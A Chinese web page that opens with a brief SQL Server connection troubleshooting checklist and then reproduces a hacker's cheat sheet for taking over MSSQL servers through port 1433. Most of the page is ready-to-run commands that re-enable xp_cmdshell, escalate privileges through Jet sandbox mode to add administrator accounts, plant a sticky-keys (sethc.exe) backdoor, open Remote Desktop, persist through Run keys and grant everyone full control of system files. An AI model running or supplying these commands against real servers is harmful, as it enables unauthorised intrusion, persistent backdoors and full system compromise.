解决问题的主流程
1、数据库是否允许SQL Server模式验证【数据库右键属性】-【Security】-【ServerAuthentication mode】
2、操作系统的防火墙
3、杀毒软件
4、1433端口是否被占用
5、远程连接的设置
6、最大连接数量的设置
4、1433端口是否被占用
检查1433端口是否被占用 打开命令提示符窗口:用telnet localhost 1433 命令检查,如果窗口显示为黑屏,即为正常;
查看端口使用状况:netstat
一、C:\>netstat –ano 查找所有端口的使用情况
二、C:\>netstat –ano|findstr “1433” 查找1433端口被占用的情况
三、C:\>tasklist|findstr “PID” 查看PID对应的进程(在第二步可以知道端口被占用的PID,然后根据PID获取任务管理器中的占用程序名称)
四、C:\>taskkill/ pid 5555 /f (假设进程为5555占用了1433端口)
哥已看透1433.txt =>http://hi.baidu.com/sql_y/blog/item/dc7a56ff6da11fccb58f3111.html
{
偶然的机会拿到了"哥已看透1433.txt"。很久了。现在发出来。因为我已经不再搞黑了。我整理了下,包括自己想到的方法,包括错误5,非常难得,自己看,不解释。
不管拿到多少服务器,多少shell。请都不做破坏!!
——————————————————————————————————————————————————
Error Message:未能找到存储过程 'master..xp_cmdshell'。(通用修复)
——————————————————————————————————————————————————
drop procedure sp_addextendedproc
drop procedure sp_oacreate
exec sp_dropextendedproc 'xp_cmdshell'
dbcc addextendedproc ("sp_oacreate","odsole70.dll")
dbcc addextendedproc ("xp_cmdshell","xplog70.dll")
=====================================================
无法装载 xpweb70.dll (126)
修复
exec sp_dropextendedproc 'xp_cmdshell'
dbcc addextendedproc ("xp cmdshell","c:\SQL2KSP4\x86\binn\xpweb70.dll");EXEC sp_configure 'show advanced options',0--
==============================================================
——————————————————————————————————————————————————
映像劫持5次SHIFT (解决通常错误)
——————————————————————————————————————————————————
入侵
EXEC master..xp_regwrite
@rootkey='HKEY_LOCAL_MACHINE',
@key='SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.EXE',
@value_name='Debugger',
@type='REG_SZ',
@value='C:\WINDOWS\explorer.exe'
恢复
EXEC master..xp_regwrite
@rootkey='HKEY_LOCAL_MACHINE',
@key='SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.EXE',
@value_name='Debugger',
@type='REG_SZ',
@value=''
net user SUPPORT_388457a0 361156033 /add
net localgroup administrators SUPPORT_388457a0 /add
——————————————————————————————————————————————————
3389 开启 关闭 查询
——————————————————————————————————————————————————
开3389:
exec master.dbo.xp_regwrite'HKEY_LOCAL_MACHINE','SYSTEM\CurrentControlSet\Control\Terminal Server','fDenyTSConnections','REG_DWORD',0;--
关3389:
exec master.dbo.xp_regwrite'HKEY_LOCAL_MACHINE','SYSTEM\CurrentControlSet\Control\Terminal Server','fDenyTSConnections','REG_DWORD',1;
查看3389端口
exec xp_regread 'HKEY_LOCAL_MACHINE','SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp','PortNumber'
REG query HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server\WinStations\RDP-Tcp /v PortNumber
——————————————————————————————————————————————————
SQL Server 阻止了对组件 'xp_cmdshell' 的 过程'sys.xp_cmdshell' 的访问,因为此组件已作为此服务器安全配置的一部分而被关闭。系统管理员可以通过使用 sp_configure 启用 'xp_cmdshell'。有关启用 'xp_cmdshell' 的详细信息,请参阅 SQL Server 联机丛书中的 "外围应用配置器"。
——————————————————————————————————————————————————
;EXEC sp_configure 'show advanced options', 1 --
;RECONFIGURE WITH OVERRIDE --
;EXEC sp_configure 'xp_cmdshell', 1 --
;RECONFIGURE WITH OVERRIDE --
;EXEC sp_configure 'show advanced options', 0 --
——————————————————————————————————————————————————
SA沙盒模式提权 (提权创建用户)
——————————————————————————————————————————————————
exec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',0;
Select * From OpenRowSet('Microsoft.Jet.OLEDB.4.0',';Database=c:\windows\system32\ias\ias.mdb','select shell("net user sql$ 123 /add")');
Select * From OpenRowSet('Microsoft.Jet.OLEDB.4.0',';Database=c:\windows\system32\ias\ias.mdb','select shell("net localgroup administrators sql$ /add")');
——————————————————————————————————————————————————
3389连接问题
——————————————————————————————————————————————————
3389连接不了(CMD下执行)
net stop sharedaccess
net stop policyagent
重新启动计算机(CMD)下执行
shutdown -r -t 0
——————————————————————————————————————————————————
SQL语句执行c:\windows\system32\ias\ias.mdb这个文件,来执行cmd.exe 来添加一个user 的用户
(提权创建用户)
——————————————————————————————————————————————————
select * from openrowset('microsoft.jet.oledb.4.0',';database=c:\windows\system32\ias\ias.mdb','select shell("net user user pass /add")')
select * from openrowset('microsoft.jet.oledb.4.0',';database=c:\windows\system32\ias\ias.mdb','select shell("net localgroup administrators user /add")')
——————————————————————————————————————————————————
调用c:\windows\system32\dllcache\下的 net net1 (提权创建用户)
——————————————————————————————————————————————————
select * from openrowset('microsoft.jet.oledb.4.0',';database=c:\windows\system32\ias\ias.mdb','select shell("dllcache\net user user pass /add")')
select * from openrowset('microsoft.jet.oledb.4.0',';database=c:\windows\system32\ias\ias.mdb','select shell("dllcache\net localgroup administrators user /add")')
——————————————————————————————————————————————————
SQL重启系统
——————————————————————————————————————————————————
select * from openrowset('microsoft.jet.oledb.4.0',';database=c:\windows\system32\ias\ias.mdb','select shell("shutdown -r -f -t 0")')
——————————————————————————————————————————————————
调用xcopy命令 来复制替换掉sethc.exe. (5次SHIFT)
——————————————————————————————————————————————————
select * from openrowset('microsoft.jet.oledb.4.0',';database=c:\windows\system32\ias\ias.mdb','select shell("xcopy taskmgr.exe sethc.exe /y")')
——————————————————————————————————————————————————
调用cacls.exe来设置权限,把sethc.exe net.exe 设置成everyone都可以完全控制
——————————————————————————————————————————————————
select * from openrowset('microsoft.jet.oledb.4.0',';database=c:\windows\system32\ias\ias.mdb','select shell("cacls c:\windows\system32\net.exe /e /t /g everyone:F')
——————————————————————————————————————————————————
xplog70.dll修复:
Error Message:无法装载 DLL xplog70.dll 或该 DLL 所引用的某一 DLL。原因: 126(找不到指定的模块。)。
修复XPLOG70.DLL(先用文件查看下备份的目录下\x86\bin,然后把下面目录替换)
打开文件上传的窗口将文件上传到C:\WinNt\System32\下后执行数据库命令
Select * from sysxlogins Exec master.dbo.addextendedproc 'xp_cmdshell', 'C:\WinNt\System32\xplog70.dll'
Select * from sysxlogins Exec master.dbo.addextendedproc 'xp_cmdshell', 'C:\Program Files\Microsoft SQL Server\mssql\Binn\xplog70.dll'
第一步
exec sp_dropextendedproc 'xp_cmdshell'
第二步
dbcc addextendedproc ("xp_cmdshell","d:\MSSQL7\Binn\xplog70.dll")
无法装载 DLL xpsql70.dll 或该DLL所引用的某一 DLL。原因126(找不到指定模块。)
恢复方法:查询分离器连接后,
第一步执行:sp_dropextendedproc "xp_cmdshell"
第二步执行:sp_addextendedproc 'xp_cmdshell', 'xpsql70.dll'
无法在库 xpweb70.dll 中找到函数 xp_cmdshell。原因: 127(找不到指定的程序。)
恢复方法:查询分离器连接后,
第一步执行:exec sp_dropextendedproc 'xp_cmdshell'
第二步执行:exec sp_addextendedproc 'xp_cmdshell','xpweb70.dll'
然后按F5键命令执行完毕
=====================================================
无法装载 xpweb70.dll (126)
修复
exec sp_dropextendedproc 'xp_cmdshell'
dbcc addextendedproc ("xp cmdshell","c:\SQL2KSP4\x86\binn\xpweb70.dll");EXEC sp_configure 'show advanced options',0--
==============================================================
有时候用查询分离器连接执行以上语句的时候会出现找不到存储过程 sp_addextendedproc
解决方法:
create procedure sp_addextendedproc --- 1996/08/30 20:13
@functname nvarchar(517),/* (owner.)name of function to call */
@dllname varchar(255)/* name of DLL containing function */
as
set implicit_transactions off
if @@trancount > 0
begin
raiserror(15002,-1,-1,'sp_addextendedproc')
return (1)
end
dbcc addextendedproc( @functname, @dllname)
return (0) -- sp_addextendedproc
GO
——————————————————————————————————————————————————————
修复xp_regwrite命令
EXEC sp_addextendedproc xp_regwrite,@dllname ='xpstar.dll'
=================================================================
echo 要写的东西 >>c:\2.vbs
echo Set o=CreateObject( "Shell.Users" ) >>c:\add.vbs
echo Set z=o.create("IWAM_NET") >>c:\add.vbs
echo z.changePassword "361156033","" >>c:\add.vbs
echo z.setting("AccountType")=3 >>c:\add.vbs
______________________________________________________________________________________________________________
先恢复sp_addextendedproc,语句如下:
第一:
create procedure sp_addextendedproc --- 1996/08/30 20:13
@functname nvarchar(517),/* (owner.)name of function to call */ @dllname varchar(255)/* name of DLL containing function */ as
set implicit_transactions off
if @@trancount > 0
begin
raiserror(15002,-1,-1,'sp_addextendedproc')
return (1)
end
dbcc addextendedproc( @functname, @dllname)
return (0) -- sp_addextendedproc
GO
use master
exec sp_addextendedproc xp_cmdshell,'xp_cmdshell.dll'
exec sp_addextendedproc xp_dirtree,'xpstar.dll'
exec sp_addextendedproc xp_enumgroups,'xplog70.dll'
exec sp_addextendedproc xp_fixeddrives,'xpstar.dll'
exec sp_addextendedproc xp_loginconfig,'xplog70.dll'
exec sp_addextendedproc xp_enumerrorlogs,'xpstar.dll'
exec sp_addextendedproc xp_getfiledetails,'xpstar.dll'
exec sp_addextendedproc sp_OACreate,'odsole70.dll'
exec sp_addextendedproc sp_OADestroy,'odsole70.dll'
exec sp_addextendedproc sp_OAGetErrorInfo,'odsole70.dll'
exec sp_addextendedproc sp_OAGetProperty,'odsole70.dll'
exec sp_addextendedproc sp_OAMethod,'odsole70.dll'
exec sp_addextendedproc sp_OASetProperty,'odsole70.dll'
exec sp_addextendedproc sp_OAStop,'odsole70.dll'
exec sp_addextendedproc xp_regaddmultistring,'xpstar.dll'
exec sp_addextendedproc xp_regdeletekey,'xpstar.dll'
exec sp_addextendedproc xp_regdeletevalue,'xpstar.dll'
exec sp_addextendedproc xp_regenumvalues,'xpstar.dll'
exec sp_addextendedproc xp_regread,'xpstar.dll'
exec sp_addextendedproc xp_regremovemultistring,'xpstar.dll'
exec sp_addextendedproc xp_regwrite,'xpstar.dll'
exec sp_addextendedproc xp_availablemedia,'xpstar.dll'
==========================================================================================================================================
解决所有错误5(126 127 737) 不解释,自己看,自己去实验。绝对的好东西
EXEC master.dbo.xp_regwrite 'HKEY_LOCAL_MACHINE','SoftWare\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',0
Select * From OpenRowSet('Microsoft.Jet.OLEDB.4.0',';Database=c:\windows\system32\ias\ias.mdb','select shell("net user 4 4 /add")');
Select * From OpenRowSet('Microsoft.Jet.OLEDB.4.0',';Database=c:\windows\system32\ias\ias.mdb','select shell("net localgroup administrators 4 /add")');
xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\currentversion\run','xwqww','REG_SZ','net user 3 3 /add'
xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\currentversion\run','xwqwww','REG_SZ','net localgroup administrators 3 /add'
select * from openrowset('microsoft.jet.oledb.4.0',';database=c:\windows\system32\ias\ias.mdb','select shell("shutdown -r -f -t 0")')
============================================================================================================================================
其它小语句
sp_configure 'show advanced options', 1;
GO
RECONFIGURE;
GO
sp_configure 'Ole Automation Procedures', 1;
GO
RECONFIGURE;
GO
cacls.exe c: /e /t /g everyone:F (设置everyone对c盘拥有所有权限)
taskkill taskkill /PID 1248 /t
tasklist 查进程
cacls "C:\Program Files\ewido anti-spyware 4.0\guard.exe" /d:everyone 改、降低某文件权限
iisreset /reboot
tsshutdn /reboot /delay:1 重起服务器
logoff 12 要使用会话 ID(例如,会话 12)从会话中注销用户,
query user 查看当前终端用户在线情况
要显示有关所有会话使用的进程的信息,请键入:query process *
要显示有关会话 ID 2 使用的进程的信息,请键入:query process /ID:2
regsvr32 /u remotepg.dll 删除
regsvr32 remotepg.dll
exec sp_configure 'show advanced options',1
reconfigure
exec sp_configure 'Ad Hoc Distributed Queries',1
reconfigure
更改sa口令密码 exec sp_password NULL,'administrator','sa'
sc config "termservice" start= auto
@echo off
color 0a
copy %windir%\system32\taskmgr.exe %windir%\system32\sethc.exe /y
;EXEC sp_configure 'show advanced options', 1 --
;RECONFIGURE WITH OVERRIDE --
;EXEC sp_configure 'Ole Automation Procedures', 1 --
;RECONFIGURE WITH OVERRIDE --
;EXEC sp_configure 'show advanced options', 0 --
declare @o int
exec sp_oacreate 'scripting.filesystemobject', @o out
exec sp_oamethod @o, 'copyfile',null,'c:\windows\explorer.exe' ,'c:\windows\system32\sethc.exe';
普通CMD后门
xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe','debugger','reg_sz','c:\windows\system32\taskmgr.exe'
3.更改终端端口为2008(0x7d8)
REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server\Wds\rdpwd\Tds\tcp /v PortNumber /t REG_DWORD /d 0x7d8 /f
REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server\WinStations\RDP-Tcp /v PortNumber /t REG_DWORD /d 0x7D8 /f
shutdown 重器服务器
EXEC sp_configure 'show advanced options', 1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell', 1;RECONFIGURE;
}
联系客服